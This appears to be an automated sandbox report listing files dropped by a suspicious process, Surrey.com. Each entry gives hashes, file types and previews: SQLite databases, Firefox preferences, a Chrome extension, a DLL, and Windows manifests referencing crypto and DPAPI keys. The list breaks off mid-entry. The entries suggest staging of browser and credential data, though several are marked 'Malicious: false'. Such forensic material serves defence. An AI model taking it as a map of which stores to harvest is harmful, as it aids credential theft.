SHA-512:	8393B3AE7D44A4DD85D05D48768F9123910E603C477A3CACC6BF12D03D464959EC01A293B0B3317B0F8470A76D71F695098AE211DD6200D8F7F21E1C757F4EDA
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="neutral".. name="Microsoft-Windows-Security-NGC-PopKeySrv".. processorArchitecture="".. version="0.0.0.0".. />.. <migration.. offlineApply="no".. scope="Upgrade,Data".. settingsVersion="3".. replacementSettingsVersionRange="0-2" .. >.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\ [*]</pattern>.. </objectSet>.. </include>.. </rules>.. </migXml>.. </migration>..</assembly>..

C:\ProgramData\9r1vs\aaaaaa

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.0843562600111474
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v4:51zkVmvQhyn+Zoz671
MD5:	9A65D9EA5C174448D5E57BF7DA3BBAB6
SHA1:	CDA941DC64A7254992FD68F60E7FE5DCFC589C47
SHA-256:	569346749BFA7A5CC979D04B2814F125683C872B316D358D2892B83C9551DDE9
SHA-512:	A2622A5347D562D541F585E9BDCA92839BC389ED1373DE484D0F1A83B15C109CA534060EC981DC9713CF067663785052844829B7145CC90E2B06337701F5D774
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\9r1vs\cjmy58

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	8193
Entropy (8bit):	5.027484893998515
Encrypted:	false
SSDEEP:	96:WNPERXr2q6QOOzJMk67cY8GrPVYRjDjXK2FJpjjsjwjZjj6OzJMk67cY8GrPVYRM:a2gwP625sQ9jsw902I
MD5:	2D6ACF2AEC5E5349B16581C8AE23BF3E
SHA1:	0AA7B29E8F13EB16F3DFC503D4E8CC55424ECB15
SHA-256:	B48F54A1F8A4C3A25D7E0FBCB95BF2C825C89ACD9C80EBACE8C15681912EDEA2
SHA-512:	7943AA852F34778B9197C34E6B6978FE51E0CDD2130167CB9C7C56D1B2B1272051EFE03DF3A21A12ECB9B9303DE0733E335CDE0BBBE1A1FC429E3323D335A1FE
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly>.. AuthUI has 3 different component names that matter in its migration story... The one that applies during the migration gather phase is as follows:.. Microsoft-Windows-Authentication-AuthUI: Vista and Win7.. Microsoft-Windows-Authentication-AuthUI-Component: Win8 (and beyond).. In order to support migration from Vista/Win7 to Win8, we update the Microsoft-Windows-Authentication-AuthUI component.. to gather in the MigWiz scope (in addition to the Upgrade scope, which it already supported)... -->.. <assemblyIdentity.. buildType="$(build.buildType)".. language="neutral".. name="Microsoft-Windows-Authentication-AuthUI".. processorArchitecture="*".. publicKeyToken="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration .. optimizePatterns="no".. offlineApply="no".. alwaysProcess="yes".. scope="MigWiz,

C:\ProgramData\9r1vs\gdjmozcb1

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\9r1vs\gvk6ph

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2062
Entropy (8bit):	4.925445222257812
Encrypted:	false
SSDEEP:	48:227+9gUKl+lxFcCY4/YBu4yTy3opyLyXyoyOyzylpjyA:22Sw+lxaWm3uCL9Gv
MD5:	60145F68B1CF9440FA663820AE11CE4B
SHA1:	10195A2926015E3024D769673E004AA60DFEC0A3
SHA-256:	4805E01EB0C9B3DFEB6B754D4148588E2FB798734D9EDE20E53EB8E75158B64F
SHA-512:	55D088040D25D4CBFF5A4210A85107666E628C67CA3134B0C836E135DBFE82AA4FA70185993E99D951307F7D159C1428B390727DA17EFEC5AA4BE9D799B96895
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="".. name="Microsoft-Windows-Kerberos-Key-Distribution-Center-DL".. processorArchitecture="".. publicKeyToken="$(Build.WindowsPublicKeyToken)".. version="0.0.0.0".. />.. <migration>.. <machineSpecific>.. <migXml xmlns="">.. Check as this is only valid for down-level OS < than Windows Vista ? -->.. <detects>.. <detect>.. <condition>MigXmlHelper.IsOSEarlierThan("NT", "6.0.0.0")</condition>.. </detect>.. </detects>.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\kdc\* [*]</pattern>.. </objectSet>.. </include>.. <exclude>.. <objectSet>.. <pattern type="Reg

C:\ProgramData\9r1vs\i5pz5p

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24008
Entropy (8bit):	6.062446965815151
Encrypted:	false
SSDEEP:	192:GKODczWz9IdqYbN9h+rKipXKuS28xb3HWJvah46Flkzl2W4FWEWSawTyihVWQ4e1:6DiWzGG+mKlxb32JyczEW4FWdwGyUlI
MD5:	6AEAEBF650EFC93CD3B6670A05724FE8
SHA1:	A4FE07E6C678AC8D4DC095997DB5043668D103B4
SHA-256:	C86891B9DF9FEEA2E98F50C9950CB446DB97A513AF0C23810F7CA818A6187329
SHA-512:	5C7E8C7DBAEB22956C774199BAD83312987240D574160B846349C0E237445407FF1CAACD2984BFAD0BBBE6011CC8918AF60A0EBBE82A8561CAFA4DF825ADD183
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: test.hta, Detection: malicious, Browse Filename: din.exe, Detection: malicious, Browse Filename: yoda.exe, Detection: malicious, Browse Filename: lem.exe, Detection: malicious, Browse Filename: script.ps1, Detection: malicious, Browse Filename: Setup.msi, Detection: malicious, Browse Filename: nB52P46OJD.exe, Detection: malicious, Browse Filename: lem.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: xoJxSAotVM.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q..Q..Q..E...S..E...]..Q..t..E...Z..E...P..E...S..E.S.P..E...P..RichQ..................PE..d....Q.!..........",.........$......................................................Bn....`A.........................................<..X....<..x....p..(....`..h....<...!......(....8..T............................0..............(1..0............................text...p........................... ..`.rdata..>....0......................@..@.data...`....P.......0..............@....pdata..h....`.......2..............@..@.rsrc...(....p.......4..............@..@.reloc..(............:..............@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\9r1vs\im7gdj5pp

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\9r1vs\ln7ym7

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	10219
Entropy (8bit):	4.966520026409024
Encrypted:	false
SSDEEP:	96:NPgBOOzJMk67cY82SGrPVYRjDjXK2F6KJzLLwGXtXqWgrjj31jj6OzJMk67cY82s:UYwP62I+Wr3JjkwP62I+Ws
MD5:	381138FA1B1C4C298AD2441898677ED6
SHA1:	B8A0B0ECAAF6F3BBD7C27DD54ACD4BC3366DD0A4
SHA-256:	D4EE07BC2183E3D013B68B080B9E2F603676B27F8B0C95CCA2ED533BC671FAFA
SHA-512:	095C2B1C129C36125FE17ED096FDE58AE0F8AF61527D9AEDCAB379C3221BF09D87F28846E6FA3CF9FE05C750689A2ADFCDD1AB67409780A12A425A33219858EC
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly>.. <assemblyIdentity.. buildType="release".. language="neutral".. name="Microsoft-Windows-Authentication-AuthUI-Component".. processorArchitecture="*".. publicKeyToken="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. optimizePatterns="no".. offlineApply="no".. replacementSettingsVersionRange="0".. replacementVersionRange="6.2-10.0".. scope="MigWiz,Upgrade".. settingsVersion="0".. >.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. Downlevel settings -->.. <pattern type="Registry">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon [DefaultUserName]</pattern>.. <pattern type="Registry">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon [DefaultDomainName]</pattern>.. <pattern type="Registry">HKLM\Software\Microsof

C:\ProgramData\9r1vs\ny5pzu

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.516615337521338
Encrypted:	false
SSDEEP:	192:NnGeRGjYbBp6AbUAaXX6hlDbH5kIGNBw8DpwSl:c5enbUEh8fwb0
MD5:	07395BECDF5D3EC44142B5A3A738B163
SHA1:	5F4AEE74B66859EA8305288795AC08CCAB3B3EB3
SHA-256:	C168E1111C6BDAD90692CF8737A3C8A25EF8223132766D108A23ED1B5763647F
SHA-512:	9756E5339295066C9496FE9E97BEF8D58AF9C4C52AD32FF7C01986264826EC5D3B94609B938B8495B425BD35854D8EEF8B1A89029D014951C18515541666A51E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "b6903dd2-9e5d-4efa-9f75-ceae7eb5377a");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696507608);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696507612);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\9r1vs\o8qq16

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4814
Entropy (8bit):	7.909739359753065
Encrypted:	false
SSDEEP:	96:K9DcEoTtp9feekTeBInbpzQK/XMEkyS+v86l1pjb5vFQIRwDYPc:K56zAMWpQK/cyz8A7jb5vGIqQc
MD5:	6E6FE97CBC259DB47CD8423141CF35A3
SHA1:	EE7D38E394FC87FBF2D4CBF7A45A56E270D667E1
SHA-256:	1B2BA8FC90BA68CD057B9CAAFFC218EAD59A23E37F79192ED37D0C3A7A8BAB03
SHA-512:	9FEE51391A289037D36344E22A49D5D4B863F30FFD19B4377D61E57EF389599F2F2790C41B6902C45BAF27B21A1F6916B6B6DF61A490A35592BE8CD1164E1966
Malicious:	false
Preview:	Cr24....t.........0.."0....H.............0.........,.i....9M..uEW....}.n..u..._3.08.:D.e]..'J...........l..)8`....:..P}........p..w(...v...Cm@....6..8...$._v....#a(.p..o:..=.....ef.C....M+.s.0g..@.'4.$ZN..e.....T.. ...F..;Sij[...&ZTH[.].D.z. ...A..<z...Ti....&..Z&u....D......\un.....................mR...B[.r..X...;.R..Y...j...x...3.9.h...R.L....a....V%[.W_/v.A}.VV....H..1..s.9lH.7...M..^.\|.C5...#..`...dJ.."..8....w......L../.........w....v.A....0..P....JU...~.-..[....K.d..i%.7....?].......1RiP..A.... ...b ...V2............f._~....IH.c.......0.."0....H.............0.........]......N..h...A..LY...%.s.....d..h#-/.U.I9..,.<.O1.)7.l.:W2..: ...E...2..s..W..T..\|3.....WS2N}.0g...T...b.q..wp.u....Z...)..2e}.r...!.u......@A..A..g.<.+:....m..[.....4..C&....."..}/9y%.......m..,.y...1...<=."eyI.G.@.3..=.....(.-...M..8A........q......:...L`\.q..?Rn.W/.\a...g...).....Q...8......J5.Z.~....0.Lt\|...d....D......=...}A3bG.Ra.oyZ..BP..,t./.0...w..WA.p.

C:\ProgramData\9r1vs\opppp8

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\9r1vs\p89hl6

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2829
Entropy (8bit):	5.130068712095974
Encrypted:	false
SSDEEP:	48:/2e8G+F0Vg8DIIgPdunPduPPduNJ7IgfCfikfidjikjirJu/MY4C5uXC5u/C5upL:/29F+cO0Mf7Rwiai5ieiFEMAQSQaQwX4
MD5:	CD55A48FE382A6820EC4FB55A66C2858
SHA1:	70A0A7B0E12DF915BD5E68FF0432637EFC2153DE
SHA-256:	97838AB994B53DFADEEF63955EECB05A7F118C2066EF97B0B0EB7BB48A526451
SHA-512:	37C6D78CCD807B04834659B5E796424C443B2C4F72481CB4080ED1BC5E6A954E47C4AF837A653DDAAFED2372C4FF60CE442170EA58586AB93C57B841449C5195
Malicious:	false
Preview:	<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. name="Microsoft-Windows-Crypto-keys".. version="0.0.0.0".. processorArchitecture="".. language="neutral".. />.. <migration scope="Upgrade,MigWiz,USMT" .. replacementVersionRange="6.0-6.1".. replacementSettingsVersionRange="0".. settingsVersion="0" .. >.. <migXml xmlns="">.. <rules context="User">.. <include>.. <objectSet>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Crypto\RSA\[]</pattern>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Crypto\DSS\[]</pattern>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Crypto\Keys[]</pattern>.. </objectSet>.. </include>.. </rules>..

C:\ProgramData\9r1vs\pzuk6x

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2947
Entropy (8bit):	5.120077314818075
Encrypted:	false
SSDEEP:	48:22e8T8PvMu0846PYPvJ8+F9gUUL0VlxfMUIgPdunPduZJ0gPdunPduZQ/+lx3cCQ:22X8PvMu0LtPvJPF+0VlVO0z60w+lfah
MD5:	C7E301D9DD77A21C1CDBD73A63AF205C
SHA1:	715D25AA0C06B2AD162F52A8DE06FB5040C389B1
SHA-256:	239C9A49ACDA9FC9845B87819A33D07F359803153FEFFE4D2212989F82DE71E1
SHA-512:	B0E6FFB10EF5EB9EB433A23803591C84F603779306E78B1648374218A50D2F77E8EE7215615E9D1BE033A96B735321FCA9D5F7B0CB65661674346FC1546E43FE
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. authors="jeffspel".. buildFilter="".. company="Microsoft".. copyright="".. creationTimeStamp="2005-09-13T14:04:43.4054402-07:00".. lastUpdateTimeStamp="2005-09-13T15:39:02.9208750-08:00".. manifestVersion="1.0".. owners="jeffspel".. supportInformation="".. testers="".. >.. <assemblyIdentity.. buildFilter="".. buildType="release".. language="neutral".. name="Microsoft-Windows-Crypto-keys-DL".. processorArchitecture="*".. publicKeyToken="$(Build.WindowsPublicKeyToken)".. type="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. xmlns="".. scope="Upgrade,MigWiz,USMT".. >.. <migXml xmlns="">.. Check as this is only valid for down-level OS < t

C:\ProgramData\9r1vs\u37g4w

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.96984082363901
Encrypted:	false
SSDEEP:	24:p/o2e8ZF2YS+pg0cjh3N1LRMEF4wuSb3wuyBX0FCUK:22e8z2j+pgfZlMY4Qr0B2A
MD5:	4DBFCA3B87A59186D2612A95CA2CD899
SHA1:	4C84BD2D60CE789B44070CDDC296C09D2F52B1CC
SHA-256:	2C229D8DA31E17FCEF244A8A2029CA8FE8374738A9ECBFED9E23FB89DB8DF059
SHA-512:	704ECDBE3FC38AC3807946072C7C523C36B4AF1586BEFE01A87BBBF35CF20214A0E0DE892A56E74FE8AA806154D7D2B9CC7028AEF47BEC326564B5F18CD12421
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. buildType="$(build.buildType)".. language="neutral".. name="Microsoft-OneCore-TetheringService".. processorArchitecture="".. version="0.0.0.0".. />.. <migration.. replacementSettingsVersionRange="0".. settingsVersion="1".. alwaysProcess="Yes".. >.. <machineSpecific>.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\icssvc\Roaming\[]</pattern>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\icssvc\Settings\[*]</pattern>.. </objectSet>.. </include>.. </rules>..

C:\ProgramData\9r1vs\ukn7gl

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4533
Entropy (8bit):	5.1021772201912805
Encrypted:	false
SSDEEP:	96:22X8PvMu0jPvJPM0UJl1/Qi9XexcElVOaBIpgmQlwYBwkbsgobVu:MUnZUb1xXMV37BhgVu
MD5:	477F010FDB6BD5E5E57D6DEC5449F2FB
SHA1:	73F9C03AF35B29EC2404BB70FEDC8C9ADADE74F6
SHA-256:	2DBEDD5D4D6645E9ED45563FDB1DC42387EF24C9CF5D6A08EC3BE448073C4696
SHA-512:	3C630BE96FC7FCD0036D254BA4D197AB31F37F6DAC411F8C78E624B0501D0205AF36CD5A29EC98D96D5D8D88EF2DBB2DF3A62C6F658A93302ECA500B8EC74F2F
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. authors="jeffspel".. buildFilter="".. company="Microsoft".. copyright="".. creationTimeStamp="2005-09-13T14:05:43.4054402-07:00".. lastUpdateTimeStamp="2005-09-13T15:41:02.9208750-08:00".. manifestVersion="1.0".. owners="jeffspel".. supportInformation="".. testers="".. >.. <assemblyIdentity.. buildFilter="".. buildType="release".. language="neutral".. name="Microsoft-Windows-dpapi-keys-DL".. processorArchitecture="*".. publicKeyToken="".. type="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. xmlns="".. scope="Upgrade,MigWiz,USMT".. >.. <machineSpecific>.. <migXml>.. Check as this is only valid for down-level OS < than Windows V

C:\ProgramData\9r1vs\v37ycb

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136505809365612
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9/Y4:MnlyfnGtxnfVuSVumEH9A4
MD5:	C41C3BD7028E12A3CE447F476E0DEA36
SHA1:	9F0BE7FFDB9A69A32AE337A9CC9FE4C8992E579F
SHA-256:	F7D257CB4D5A9E7461F5B26F5BAF62BE24CE3DB5284E0CAA5767CC261E4FA275
SHA-512:	0E0E55D5C8F17AA46699DDF58637E6FFE55FFA5242A7CE13E61F7E97170DDFA48F6FD1476D2F4BDFBE55A6C1D15FE0E4830124521ED4875BCF8A69671481BE6D
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\9r1vs\v3w47q

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2657974746044198
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMbSAELyKOMq+8JoudpfjOLlaVumLi:K0q+n0Jb9ELyKOMq+8qu3SJ9
MD5:	72AA02A3F1D5042A7E1E1F769D0FB2F4
SHA1:	50B453FC0B6234B2A50ABA75334C67E797F59992
SHA-256:	789B848D933EFAC758D06FC8A1BC9B5220B416845B57EFC918AF15B07D4970A3
SHA-512:	3D738745636002200B4ED38C4802EE25BA15312EB8CCF589BF3DD897871CCC6B646762D65662E2F261F87DC4E7377DC057203C1DF0290539F10194A335F4FCCF
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\9r1vs\w4e3eu

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1468
Entropy (8bit):	5.0065780470180306
Encrypted:	false
SSDEEP:	24:p/o2e8GFp8PvMu0Vnu7vFPvJ8+FXg0Mej39ImlQu/kKcCEF4wflBX0FCUK:22e8+8PvMu0VnuRPvJ8+FXgMtImlx3cd
MD5:	E68A33BDAF7AEBE6D5BBBCEFDED6AC5C
SHA1:	A1120341BB4452FCA47EB5EA8FA62A08BFC48073
SHA-256:	A5DC5B9F31D69E6F65F405EF4E187BAB262746AAAC08E95C195AA77A0B310DE1
SHA-512:	69E1A60C0FFE8AA19B55FABE47801EEEA7CF4C84E426318D8B7BFFAF09A14FC5F569573BE30753D354B604911A616C231F485B08C3778E0A214F7E3DC9C21D2C
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. authors="artbaker".. buildFilter="".. company="Microsoft".. copyright="".. creationTimeStamp="2005-09-13T14:05:43.4054402-07:00".. lastUpdateTimeStamp="2005-09-13T15:41:02.9208750-08:00".. manifestVersion="1.0".. owners="artbaker".. supportInformation="".. testers="".. >.. <assemblyIdentity.. buildFilter="".. buildType="release".. language="neutral".. name="Microsoft-Windows-Cryptography-CryptoConfig-DL".. processorArchitecture="*".. publicKeyToken="".. type="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration xmlns="">.. <machineSpecific>.. <migXml>.. Check as this is only valid for down-level OS < than Windows Vista ? -->.. <detects>..

C:\ProgramData\9r1vs\w4euaa

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4309
Entropy (8bit):	5.059776328378613
Encrypted:	false
SSDEEP:	96:22CBzmeQiHRAQgXx9QgXcOaBIpghKkQlwYBwkbsgo9:MmCZy7BhA
MD5:	3A9306662FE93D09B05B9AE44128BCF1
SHA1:	77A917FFE8FF0EAAD8F3D3B764836C810E4C9DF5
SHA-256:	1988183ECBC3C6987DA9CB598C78B52D7563D995FA94D1E91E0470392E765374
SHA-512:	DA1F2776E8D1E08076032365B0D463DC847A31C6C360181D9966488455E878C7738DEC6F2B39153B2A410E3BEB73A05EB524593D125077273343740826A7B9F9
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="neutral".. name="Microsoft-Windows-dpapi-keys".. processorArchitecture="".. version="0.0.0.0".. />.. <migration.. scope="Upgrade,MigWiz,USMT,Data".. settingsVersion="1".. replacementSettingsVersionRange="0" .. >.. <machineSpecific>.. <migXml xmlns="">.. <rules context="User">.. <include>.. <objectSet>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Protect [CREDHIST]</pattern>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Protect\ [Preferred]</pattern>.. </objectSet>.. </include>.. <merge script="MigXmlHelper.DestinationPriority()">.. <objectSet>..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\32fc53ae-7a12-4bdc-be37-42c18fbcdaef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45756
Entropy (8bit):	6.09596744833972
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xTJaU/zDtoCxIciTrPsRKcNqXBSs5mPVMJpC9oTV:z/Ps+wsI7yOdoCxDRKKqxSs0P6koTV
MD5:	0A2A05CF779CEC18758D7E3A9AB7B49B
SHA1:	2EFC824CC6B3654A7A2BB966063945AE0616508F
SHA-256:	C8865F7E3DC25987173E1841FC9E8E09EB134323348762A6BF999170DB55016D
